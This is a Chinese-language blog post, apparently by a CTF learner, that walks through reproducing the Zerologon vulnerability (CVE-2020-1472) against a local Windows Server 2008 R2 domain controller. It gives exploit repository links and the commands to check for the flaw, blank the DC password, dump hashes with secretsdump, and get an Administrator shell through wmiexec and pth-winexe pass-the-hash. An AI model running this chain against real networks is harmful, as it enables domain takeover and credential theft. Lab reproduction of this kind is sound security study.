前一段时间打ctf第一次接触域渗透,其中CVE-2020-1472被称为域控的大杀器,在本地搭建了个环境复现一下
CVE-2020-1472影响的版本:
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2016
- Windows Server 2016 (Server Core installation)
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
这个漏洞之所以能够被称为内网大杀器是因为现在很多的域控都是基于2008R2系统搭建的,即使有一些域控不是2008R2的版本,但只要是2008R2以后的版本都会被此漏洞影响。换一种说法,只要你拿到了有CVE-2020-1472的内网机器,那么你在内网横向移动上就是畅通无阻的
正文如下:
搭建域环境请自行参照其他博主的步骤,此处不再赘述
我的域环境如下:
WIN2008R2为域控 192.168.1.10
XP 192.168.1.11
W7 192.168.1.12
攻击机kali 192.168.1.110
注意一下这三台主机是能够互相ping通的,在之前我遇到过在一个域里面net view出来只有一台或两台主机,这时候的话可以有ping命令检查一下,几台主机之间能否ping通
域环境net view如下:
首先我们这里需要用到python的一个impacket库,下载链接如下:
https://github.com/SecureAuthCorp/impacket.git
简单介绍下impacket库:
Impacket是一个Python类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问
也可以用pip install在kali上下载,此处我是在windows上下载解压后再拖进kali的,解压后进入impacket文件夹,执行如下命令:
python3 setup.py install
PS:这个地方如果显示安装失败的话请检查以下你kali的python环境
虽然知道2008R2存在该漏洞,但是在平时我们是不知道别人的主机是否安装了这个漏洞补丁的,所以先用poc看一下,poc链接如下:
https://github.com/SecuraBV/CVE-2020-1472
下载解压后放入kali执行如下语句:
python3 zerologon_tester.py 域控主机名 域控IP
出现如下语句便是存在漏洞
此处我们既然要利用该漏洞,就应该用exp将域控打空
exp如下:
https://github.com/dirkjanm/CVE-2020-1472
还是下载解压后放入kali执行如下语句:
python3 cve-2020-1472-exploit.py 域控主机名 域控IP
出现如下语句便是已经成功将域控打空
下一个步骤是用空密码dump域控上的hash
这个地方有些文章没有说清楚,导致这个地方我卡了很久,所以这个地方详细说一下
首先找到之前下载的impacket的文件夹,找到examples文件夹进入,在examples文件夹下打开命令行,然后使用如下语句即可:
python3 secretsdump.py 域名称/域控主机名$@域控IP -no-pass
找到administrator的hash值将其复制(注意只要冒号后面的)
利用获取到的管理员hash通过dos命令远程控制域控服务器
进入之后whoami查看权限,为Administrator权限
python3 wmiexec.py -hashes hash值 域名称/域控用户名@域控ip
这个地方还可以用到pth-winexe下的一个命令进入dos界面
语句如下:
pth-winexe -U hash值 //域控ip cmd
效果也是一样的,此处为此前经验的积累用的此命令
复现完成,因为是本地环境就没有继续进行横向移动,但是不影响CVE-2020-1472成为内网大杀器的结果。
总结一下:
查看版本 -> poc查询 -> exp打空域控 -> 获取hash -> 空密码dump域控hash -> 拿到shell
如果后面在实战过程中有用到该大杀器再来完善,菜狗未完待续。